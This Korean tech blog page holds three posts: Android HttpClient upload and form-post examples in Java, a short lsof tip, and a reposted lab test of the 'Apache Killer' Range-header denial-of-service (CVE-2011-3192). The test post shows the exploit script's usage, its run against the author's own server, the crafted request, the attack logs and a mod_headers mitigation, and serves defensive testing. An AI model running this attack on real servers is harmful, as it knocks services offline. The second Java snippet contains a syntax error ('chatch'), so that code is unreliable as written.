안드로이드(android)에서 java 의 HttpClient 4.0 클래스를 이용한 네트웍 프로그램 구현

|

자료출처 : http://mainia.tistory.com/568


안드로이드(android)에서 java HttpClient 4.0 클래스를 이용한 네트웍 프로그램 구현

개발환경 : JDK 1.5, eclipse-galileo, Google API 7(android API 2.1), window XP

org.apache.http.client.HttpClient 클래스는 안드로이드 뿐만 아니라 여러가지로

쓸만한데가 많아서 몇가지 예제를 정리 하였다. 나 같은 경우에는 안드로이드에서

서버와 통신하며 데이터를 받아올 때 사용한다. 안드로이드 API 내부에 HttpCliet

가 포함되어있기 때문이다.

(1) HttpClient 를 이용하여 POST 방식으로 멀티파일 업로드 구현

이 예제는 java application 으로 만든것이다. 서버에 WAS 가 돌고 있다면 멀티 파일 업로드가

가능하다. 로컬상에 web application 하나 구현해 놓고 테스트 해보면 될것이다.


01import java.io.File;
02import org.apache.http.HttpEntity;
03import org.apache.http.HttpResponse;
04import org.apache.http.HttpVersion;
05import org.apache.http.client.HttpClient;
06import org.apache.http.client.methods.HttpPost;
07import org.apache.http.entity.mime.MultipartEntity;
08import org.apache.http.entity.mime.content.ContentBody;
09import org.apache.http.entity.mime.content.FileBody;
10import org.apache.http.impl.client.DefaultHttpClient;
11import org.apache.http.params.CoreProtocolPNames;
12import org.apache.http.util.EntityUtils;
13
14
15public class PostFile {
16 public static void main(String[] args) throws Exception {
17 HttpClient httpclient = new DefaultHttpClient();
18 httpclient.getParams().setParameter(CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
19
20 HttpPost httppost = new HttpPost("http://localhost:9001/upload.do");
21 File file = new File("c:/TRASH/zaba_1.jpg");
22
23 MultipartEntity mpEntity = new MultipartEntity();
24 ContentBody cbFile = new FileBody(file, "image/jpeg");
25 mpEntity.addPart("userfile", cbFile);
26
27
28 httppost.setEntity(mpEntity);
29 System.out.println("executing request " + httppost.getRequestLine());
30 HttpResponse response = httpclient.execute(httppost);
31 HttpEntity resEntity = response.getEntity();
32
33 System.out.println(response.getStatusLine());
34 if (resEntity != null) {
35 System.out.println(EntityUtils.toString(resEntity));
36 }
37 if (resEntity != null) {
38 resEntity.consumeContent();
39 }
40
41 httpclient.getConnectionManager().shutdown();
42 }
43}

(2) HttpClient 를 이용하여 일반 데이터 전송/ 받기

이 예제는 파일이 아닌 일반 text 데이터를 BasicNameValuePair 담아서 전송한다. 하나하나 담은

데이터는 다시 ArrayList 클래스에 넣고 UrlEncodedFormEntity 클래스로 UTF-8 로 인코딩한다.

서버에서 작업된 내용을 받을때는 ISO-8859-1 디코더해서 BufferedReader 로 읽어 들인다

그리고 마지막에 getConnectionManager().shutdown() ; 해준다.

01InputStream is = null;
02String totalMessage = "";
04HttpClient httpclient = new DefaultHttpClient();
05try {
06 /** 연결 타입아웃내에 연결되는지 테스트, 5초 이내에 되지 않는다면 에러 */
07 String id = "id";
08 String pwd = "password";
09
10 ArrayList<namevaluepair> nameValuePairs = new ArrayList<namevaluepair>();
11 nameValuePairs.add(new BasicNameValuePair("ID", id));
12 nameValuePairs.add(new BasicNameValuePair("PWD", pwd));
13
14 /** 네트웍 연결해서 데이타 받아오기 */
15 String result = "";
16 HttpParams params = httpclient.getParams();
17 HttpConnectionParams.setConnectionTimeout(params, 5000);
18 HttpConnectionParams.setSoTimeout(params, 5000);
19
20 HttpPost httppost = new HttpPost(url);
21 UrlEncodedFormEntity entityRequest =
22new UrlEncodedFormEntity(nameValuePairs, "UTF-8");
23 httppost.setEntity(entityRequest);
24
25 HttpResponse response = httpclient.execute(httppost);
26 HttpEntity entityResponse = response.getEntity();
27 is = entityResponse.getContent();
28
29 /** convert response to string */
30 BufferedReader reader = new BufferedReader(new InputStreamReader(
31 is, "iso-8859-1"), 8);
32 StringBuilder sb = new StringBuilder();
33 String line = null;
34 while ((line = reader.readLine()) != null) {
35 sb.append(line).append("\n");
36 }
37 is.close();
38 result = sb.toString();
39
40} catch (IOException e) {
41 e.printStackTrace();
42} chatch (Exception e)
43 e.printStackTrace();
44
45} finally {
46 httpclient.getConnectionManager().shutdown();
47}
48</namevaluepair></namevaluepair>

위의 내용은 아이디/패스를 서버에 전달하고 그 결과값을 받기 위해서 만들었던 것이다.

서버나 네트웍 상태가 안좋아서 데이터를 받아 올수 없을 때 무작정 기다릴수 없으므로

5초로 셋팅해주었다. 5초 이상 반응이 없으면 exception 을 던지게 된다.

이것으로 안드로이드에서 실시간 서비스정보구현을 위한 기본적인 코딩은 된것이다.

추가로 구현해야될 사항은 네트웍 연결부분을 별도의 쓰레드로 돌려야 되고 , 데이터를

받고 전달해줄 서버를 구현해야한다. 그리고 JSON 프로토콜을 사용할것이 때문에

JSON 파싱을 위한 구현을 해야한다

'Develop > Android' 카테고리의 다른 글

우편번호 변환  (0) 2012.04.10
And

웹서버 운영시 프로세스 관리

|

웹서버를 운영하다보면 특정한 프로세스가 과부하를 일으키는 경우가 아주 흔하더군여.
 
기본적으로 반드시 알아야되는..명령어가  lsof 입니다.
 
lsof 는 List of File 의 약자이며 현재 프로세스에서 어떤 파일이 사용되는지 보여주는 명령어 입니다.
또한 어떤 소켓이 열려있는지도 확인이 가능합니다.
 
lsof 바로 입력하면 모든 리스트가 출력되므로 그보다는 PID값으로 조회하면 편합니다.
 
top 명령어로 부하가 심한 프로세스 PID번호를 확인후
 
lsof -p PID번호 이렇게 하면 현재 어떤 놈인지 보여줍니다.
 
특정 ip정보나 계정별 프로세스등 다양한 방법이 있으니 자세한 옵션과 방법은 네이버 삼촌에게~~
 
아무것도 아니지만 알면 매우 활용도가 높죠

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
Apache killer 위협  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And

Apache killer 위협

|

커피닉스 IRC 채널에서 좋은진호님이 알려주신 기사내용을 실제로 테스트 해보았다.
아파치 웹서버 무력화시킬 심각한 DoS 결함 발견

2011. 8.30 커피닉스의 IRC에서 좋은 진호님 지적에 따르면, 기사내용과는 달리 mod_deflate와 mod_gzip 모듈은 관계가 없다고 한다.  아마 초기의 취약점 정보가  잘못정리되어 기사가 나온듯 하다. 업데이트된 취약점정보를 확인하자.

Test 환경

CentOS 5.5 64bit
Apache 2.2.3 (httpd-2.2.3-45.el5.centos.1, 최신RPM 버전임)
httpd.conf는 RPM 버젼의 기본값
PHP등의 추가 모듈은 설치되어 있지 않음

CentOS의 기본값 httpd.conf 에 “LoadModule deflate_module modules/mod_deflate.so” 가 기본값으로 설정되어 있어, httpd -M 결과에서 “deflate_module (shared)” 와 같이 mod_deflate 모듈이 load되어있습니다.

이번에 Apache Killer가 이용하는 취약점은 Apache의 mod_proxy 로 redirect해서 운영하는 경우에는 동작하는 않는 것으로 보입니다. 제 테스트 환경에서는 그랬으니, 다른 환경에서는 주의가 필요합니다.

취약점 관련 정보는 다음 링크를 확인하세요. 참고로  Range란 자원의 일부분만 보내주기를 요청할 때 사용되는 HTTP헤더정보라고 하네요. (KRCERT 자료 인용)
(CVE-2011-3192) CVE-2011-3192 httpd: multiple ranges DoS
Mitigation of Apache Range Header DoS Attack
좋은진호님의 글 - 아파치 웹서버를 한방에 다운시키는 Range요청 취약점

이번에 공개된 Apache Killer 이외에도 Slowloris 라는 엄청난 녀석도 있으니 참고해둔다.

jjun의 테스트
[root@test-server html]# perl /root/kill.pl

Apache Remote Denial of Service (memory exhaustion)
due to a flawed implementation of Partial Content requests
(CVE-2011-3192).

by Javier, based on Kingcope's code available at

http://seclists.org/fulldisclosure/2011/Aug/175

Usage: ./apachepartial.pl <host> [path] [parallel reqs] [loops] [port]
         [path] defaults to '/'
         [parallel reqs] defaults to 10
         [loops] defaults to 5 (0 = infinite)
         [port] defaults to 80

Example: For attacking http://www.example.com:8080/somepath/ with
         100 concurrent requests over 5 loops:
         ./apachepartial.pl www.example.com /somepath/ 100 5 8080

See the comments at the beginning of the script code.

WARNING: The exploited system may become unstable and even crash.
         THIS TOOL IS PROVIDED 'AS IS', USE IT AT YOUR OWN RISK.
[root@test-server html]# perl /root/kill.pl test-server.crystaljjun.kr /1.txt 100 0 80

Testing http://test-server.crystaljjun.kr:80/1.txt

Request:
HEAD /1.txt HTTP/1.1
Host: test-server.crystaljjun.kr
User-Agent: Apache httpd Partial Content bug exploit
Range:bytes=0-100
Accept-Encoding: gzip
Connection: close

Response:
HTTP/1.1 206 Partial Content
Date: Mon, 29 Aug 2011 14:10:29 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 29 Aug 2011 14:09:38 GMT
ETag: "e38002-50c-4aba572092c80"
Accept-Ranges: bytes
Content-Length: 101
Content-Range: bytes 0-100/1292
Connection: close
Content-Type: text/plain; charset=UTF-8

Host seems vulnerable.

Hitting http://test-server.crystaljjun.kr:80/1.txt
(100 parallel reqs over -1 loops)

Loop 1 .................................................................................................... finished.
Loop 2 .................................................................................................... finished.
Loop 3 .................................................................................................... finished.
Loop 4 .................................................................................................... finished.
Loop 5 .............. 종료시킴.

실행즉시, 모든 CPU의 사용률 100%를 보임

 

보안조치

Apache의 mod_headers 모듈 기능을 이용하여, 5 range보다 큰 header의 값은 drop 시키면 된다고 한다. 더 자세한 것은 좋은진호님의 글 - 아파치 웹서버를 한방에 다운시키는 Range요청 취약점 내용을 참조하자.

[root@test-server conf.d]# cat range-CVE-2011-3192.conf
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
CustomLog logs/range-CVE-2011-3192.log common env=bad-req-range
[root@test-server conf.d]# service httpd restart
Stopping httpd:                                            [  OK  ]
Starting httpd:                                            [  OK  ]

 

취약점보고서의 조치사항을 보면 좋은진호님 것과 다른점이 있는데, IRC에서 여쭤보았다. 요약하자면 다음과 같다. (역시 실시간으로 답변해주셔서 너무나도 좋은 커피닉스 IRC #coffeenix 에 들려보세요. 좋은진호, sCag 님이 답변해주신 내용을 정리하였다.)
SetEnvIf Range (,.*?){5,} bad-range=1
SetEnvIf Range (?:,.*?){5,5} bad-range=1
차이점이 있는데 무었을까요?
?: 라면 그 매칭된 값을 back reference(괄호안에 매칭된 값을 변수)에 넣지 않는건데,
변수에 저장하지 않으니, 위 룰의 처리속도상의 유리할 수 있다.
(aaa)...(bbb)... (ccc) 이런 형태일 때, 조건이 매칭이 되면 $1에는 aaa가, $2에는 bbb, $3에는 ccc가 저장이 됩니다.
괄호에 ?: 을 넣어주면 매칭되어서 변수에는 저장하지 않는다. 매칭 여부만 판단할 때는 ?:을 넣어주는게 더 효율적일 수 있지만,
정규식표현 해석의 어려움이 있어, 쓰지 않는 경우가 있다.

더요약하자면regular expression! 한걸 변수로 때려 넣느냐 마느냐라고 생각 하면 쉽다.
a=1; b=2; c=a+b 이렇게 하느냐 print 1+2 하느냐

 

보안조치가 효과가 있는지 테스트

[root@test-server conf.d]# perl /root/kill.pl test-server.crystaljjun.kr /1.txt 100 0 80

Testing http://test-server.crystaljjun.kr:80/1.txt

Request:
HEAD /1.txt HTTP/1.1
Host: test-server.crystaljjun.kr
User-Agent: Apache httpd Partial Content bug exploit
Range:bytes=0-100
Accept-Encoding: gzip
Connection: close

Response:
HTTP/1.1 206 Partial Content
Date: Mon, 29 Aug 2011 14:13:48 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 29 Aug 2011 14:09:38 GMT
ETag: "e38002-50c-4aba572092c80"
Accept-Ranges: bytes
Content-Length: 101
Content-Range: bytes 0-100/1292
Connection: close
Content-Type: text/plain; charset=UTF-8

Host seems vulnerable.

Hitting http://test-server.crystaljjun.kr:80/1.txt
(100 parallel reqs over -1 loops)

Loop 1 .................................................................................................... finished.
Loop 2 .................................................................................................... finished.
Loop 3 .................................................................................................... finished.
Loop 4 .................................................................................................... finished.
Loop 5 .................................................................................................... finished.
Loop 6 .................................................................................................... finished.
Loop 7 .................................................................................................... finished.
Loop 8 .................................................................................................... finished.
Loop 9 .................................................................................................... finished.
Loop 10 .................................................................................................... finished.
Loop 11 .................................................................................................... finished.
Loop 12 .................................................................................................... finished.
Loop 13 .................................................................................................... finished.
Loop 14 .................................................................................................... finished.
Loop 15 .................................................................................................... finished.
Loop 16 .................................................................................................... finished.
Loop 17 .................................................................................................... finished.
Loop 18 .................................................................................................... finished.
Loop 19 .................................................................................................... finished.
Loop 20 .................................................................................................... finished.
Loop 21 ..................................................................................................

공격시 로그 내용

[root@test-server httpd]# tail access_log
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
[root@test-server httpd]# tail range-CVE-2011-3192.log
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -

 

다른관점에서 생각을 해보자. 커피닉스 IRC채널의 내용에 조금 보탰다. 2011.8.31 추가함.

Apache가 오픈소스인 관계로, Apache가져다가 임베디드시켜서 관리기능을 구성했거나, 아예 자사 제품에 Apache를 쓰는경우가 있다.  (Cisco 비디오 관련 장비, 무선 일부장비, 오라클, NAS 제품, Citrix netscaler 관리페이지 등등)이경우의 수도 확인해봐야 할것이다. 단순히 웹서버만 체크할 문제는 아닐수 있다는 것이다. 1.3, 2.2 모든 버젼에 해당되는 내용이므로 엉뚱하게 시스템을 리부팅시켜야만 하는 상황이 생길수도 있겠다.

 


Apache에서 해당 버그를 fix한 업데이트 버젼 2.2.20 을 내놓았다.  또 Debian에서도 업데이트 패키지를 발표했다.  Redhat도 httpd 패키지가 업데이트 되었다.  2011.9.2 추가함.


자료출처 : http://blog.daum.net/donfig/3163886

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
웹서버 운영시 프로세스 관리  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And
prev | 1 | 2 | 3 | 4 | 5 | 6 | 7 | ··· | 11 | next